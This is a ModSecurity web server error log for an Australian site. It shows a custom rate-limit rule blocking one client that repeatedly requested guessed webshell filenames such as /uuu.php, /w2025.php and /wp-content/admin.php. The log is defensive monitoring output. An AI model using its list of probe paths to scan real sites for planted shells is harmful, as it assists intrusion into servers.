[Tue Apr 28 19:49:20.444295 2026] [:error] [pid 2741:tid 2770] [client 68.221.203.83:18602] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "afCewPp92FeOz1h6ILznpAAAAVg"]
[Tue Apr 28 19:49:21.093400 2026] [:error] [pid 50889:tid 50909] [client 68.221.203.83:20695] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afCewYzszBr00txEzGg_NQAAABE"]
[Tue Apr 28 19:49:21.791051 2026] [:error] [pid 33777:tid 33837] [client 68.221.203.83:24905] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afCewbXUCFWqmordGGLSMQAAAQI"]
[Tue Apr 28 19:49:22.306461 2026] [:error] [pid 33777:tid 33852] [client 68.221.203.83:20658] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afCewrXUCFWqmordGGLSNwAAARE"]
[Tue Apr 28 19:49:22.821291 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:57188] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afCewozszBr00txEzGg_PAAAAAk"]
[Tue Apr 28 19:49:23.421394 2026] [:error] [pid 2741:tid 2752] [client 68.221.203.83:23145] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afCew_p92FeOz1h6ILznswAAAUY"]
[Tue Apr 28 19:49:23.935840 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:23112] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afCew_p92FeOz1h6ILzntAAAAUs"]
[Tue Apr 28 19:49:24.551866 2026] [:error] [pid 33777:tid 33838] [client 68.221.203.83:20645] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afCexLXUCFWqmordGGLSTwAAAQM"]
[Tue Apr 28 19:49:25.146321 2026] [:error] [pid 2741:tid 2767] [client 68.221.203.83:57171] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afCexfp92FeOz1h6ILznvgAAAVU"]
[Tue Apr 28 19:49:25.742261 2026] [:error] [pid 33776:tid 33810] [client 68.221.203.83:8320] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afCexV-bEJ2CKP3iKAAuSgAAAEI"]
[Tue Apr 28 19:49:26.311285 2026] [:error] [pid 50889:tid 50895] [client 68.221.203.83:57817] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afCexozszBr00txEzGg_RwAAAAM"]
[Tue Apr 28 19:49:26.811879 2026] [:error] [pid 33775:tid 33787] [client 68.221.203.83:57195] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afCexpsYOcoQrq88YbUpxgAAAMg"]
[Tue Apr 28 19:49:27.513587 2026] [:error] [pid 33775:tid 33793] [client 68.221.203.83:57214] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afCex5sYOcoQrq88YbUpxwAAAM4"]
[Tue Apr 28 19:49:28.113735 2026] [:error] [pid 33775:tid 33785] [client 68.221.203.83:24901] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afCeyJsYOcoQrq88YbUpyAAAAMY"]
[Tue Apr 28 19:49:28.624453 2026] [:error] [pid 33777:tid 33840] [client 68.221.203.83:20662] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afCeyLXUCFWqmordGGLSUgAAAQU"]
[Tue Apr 28 19:49:29.129880 2026] [:error] [pid 33776:tid 33821] [client 68.221.203.83:57191] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afCeyV-bEJ2CKP3iKAAuUQAAAE0"]
[Tue Apr 28 19:49:29.630094 2026] [:error] [pid 33775:tid 33794] [client 68.221.203.83:23132] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afCeyZsYOcoQrq88YbUpyQAAAM8"]
[Tue Apr 28 19:49:30.253898 2026] [:error] [pid 33864:tid 33873] [client 68.221.203.83:57839] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afCeyjXchLGZ4QggCskaSAAAAIc"]
[Tue Apr 28 19:49:30.845613 2026] [:error] [pid 50889:tid 50911] [client 68.221.203.83:57192] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afCeyozszBr00txEzGg_UgAAABM"]
[Tue Apr 28 19:49:31.500368 2026] [:error] [pid 50889:tid 50897] [client 68.221.203.83:18621] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afCey4zszBr00txEzGg_VQAAAAU"]
[Tue Apr 28 19:49:32.176365 2026] [:error] [pid 33777:tid 33836] [client 68.221.203.83:23144] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afCezLXUCFWqmordGGLSVAAAAQE"]
[Tue Apr 28 19:49:32.830280 2026] [:error] [pid 33777:tid 33845] [client 68.221.203.83:16013] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afCezLXUCFWqmordGGLSWAAAAQo"]
[Tue Apr 28 19:49:33.409569 2026] [:error] [pid 50889:tid 50895] [client 68.221.203.83:8336] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afCezYzszBr00txEzGg_WgAAAAM"]
[Tue Apr 28 19:49:34.281386 2026] [:error] [pid 33864:tid 33875] [client 68.221.203.83:57836] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afCezjXchLGZ4QggCskaTAAAAIk"]
[Tue Apr 28 19:49:34.967651 2026] [:error] [pid 33776:tid 33825] [client 68.221.203.83:8324] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afCezl-bEJ2CKP3iKAAuWgAAAFE"]
[Tue Apr 28 19:49:35.892521 2026] [:error] [pid 50889:tid 50901] [client 68.221.203.83:57173] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afCez4zszBr00txEzGg_YQAAAAk"]
[Tue Apr 28 19:49:36.646446 2026] [:error] [pid 33864:tid 33869] [client 68.221.203.83:24956] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afCe0DXchLGZ4QggCskaTgAAAIM"]
[Tue Apr 28 19:49:37.370425 2026] [:error] [pid 33777:tid 33841] [client 68.221.203.83:57811] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afCe0bXUCFWqmordGGLSWgAAAQY"]
[Tue Apr 28 19:49:37.874587 2026] [:error] [pid 33777:tid 33855] [client 68.221.203.83:20630] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afCe0bXUCFWqmordGGLSWwAAARQ"]
[Tue Apr 28 19:49:38.466500 2026] [:error] [pid 33776:tid 33820] [client 68.221.203.83:8376] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afCe0l-bEJ2CKP3iKAAuYQAAAEw"]
[Tue Apr 28 19:49:39.201020 2026] [:error] [pid 33776:tid 33812] [client 68.221.203.83:8341] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afCe01-bEJ2CKP3iKAAuZAAAAEQ"]
[Tue Apr 28 19:49:40.317974 2026] [:error] [pid 33864:tid 33881] [client 68.221.203.83:20672] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afCe1DXchLGZ4QggCskaUQAAAI8"]
[Tue Apr 28 19:49:41.052529 2026] [:error] [pid 33776:tid 33824] [client 68.221.203.83:57850] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afCe1V-bEJ2CKP3iKAAubAAAAFA"]
[Tue Apr 28 19:49:41.697146 2026] [:error] [pid 33864:tid 33883] [client 68.221.203.83:23109] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afCe1TXchLGZ4QggCskaUwAAAJE"]
[Tue Apr 28 19:49:42.443091 2026] [:error] [pid 2741:tid 2747] [client 68.221.203.83:57170] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afCe1vp92FeOz1h6ILznxgAAAUE"]
[Tue Apr 28 19:49:43.124406 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:8354] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afCe1_p92FeOz1h6ILznyQAAAUs"]
[Tue Apr 28 19:49:43.657649 2026] [:error] [pid 2741:tid 2749] [client 68.221.203.83:57845] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afCe1_p92FeOz1h6ILznzQAAAUM"]
[Tue Apr 28 19:49:44.218463 2026] [:error] [pid 50889:tid 50905] [client 68.221.203.83:8334] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afCe2IzszBr00txEzGg_dAAAAA0"]
[Tue Apr 28 19:49:44.920963 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:18612] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afCe2IzszBr00txEzGg_dgAAABg"]
[Tue Apr 28 19:49:45.479872 2026] [:error] [pid 33777:tid 33840] [client 68.221.203.83:23140] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afCe2bXUCFWqmordGGLSYwAAAQU"]
[Tue Apr 28 19:49:46.180313 2026] [:error] [pid 33777:tid 33850] [client 68.221.203.83:16001] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afCe2rXUCFWqmordGGLSZQAAAQ8"]
[Tue Apr 28 19:49:46.803656 2026] [:error] [pid 33776:tid 33821] [client 68.221.203.83:20733] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afCe2l-bEJ2CKP3iKAAueAAAAE0"]
[Tue Apr 28 19:49:47.389436 2026] [:error] [pid 33777:tid 33842] [client 68.221.203.83:8355] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afCe27XUCFWqmordGGLSaAAAAQc"]
[Tue Apr 28 19:49:47.987079 2026] [:error] [pid 33864:tid 33880] [client 68.221.203.83:21796] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afCe2zXchLGZ4QggCskaVwAAAI4"]
[Tue Apr 28 19:49:48.472714 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:8326] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afCe3LXUCFWqmordGGLSaQAAAQQ"]
[Tue Apr 28 19:49:49.071765 2026] [:error] [pid 33864:tid 33878] [client 68.221.203.83:20653] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afCe3TXchLGZ4QggCskaWQAAAIw"]
[Tue Apr 28 19:49:49.632479 2026] [:error] [pid 33776:tid 33825] [client 68.221.203.83:23133] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afCe3V-bEJ2CKP3iKAAufwAAAFE"]
[Tue Apr 28 19:49:50.200376 2026] [:error] [pid 33864:tid 33890] [client 68.221.203.83:18617] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afCe3jXchLGZ4QggCskaWgAAAJg"]
[Tue Apr 28 19:49:50.762669 2026] [:error] [pid 33864:tid 33882] [client 68.221.203.83:57832] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afCe3jXchLGZ4QggCskaWwAAAJA"]
[Tue Apr 28 19:49:51.291924 2026] [:error] [pid 33864:tid 33869] [client 68.221.203.83:18615] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afCe3zXchLGZ4QggCskaXAAAAIM"]
[Tue Apr 28 19:49:51.789021 2026] [:error] [pid 33864:tid 33876] [client 68.221.203.83:8373] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afCe3zXchLGZ4QggCskaXgAAAIo"]
[Tue Apr 28 19:49:52.339739 2026] [:error] [pid 50889:tid 50906] [client 68.221.203.83:20703] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afCe4IzszBr00txEzGg_gwAAAA4"]
[Tue Apr 28 19:49:52.873617 2026] [:error] [pid 50889:tid 50903] [client 68.221.203.83:16059] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afCe4IzszBr00txEzGg_hQAAAAs"]
[Tue Apr 28 19:49:53.393825 2026] [:error] [pid 50889:tid 50911] [client 68.221.203.83:20635] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCe4YzszBr00txEzGg_iQAAABM"]
[Tue Apr 28 19:49:53.922919 2026] [:error] [pid 50889:tid 50892] [client 68.221.203.83:23118] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCe4YzszBr00txEzGg_iwAAAAA"]
[Tue Apr 28 19:49:54.424362 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:24947] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afCe4ozszBr00txEzGg_jgAAABg"]
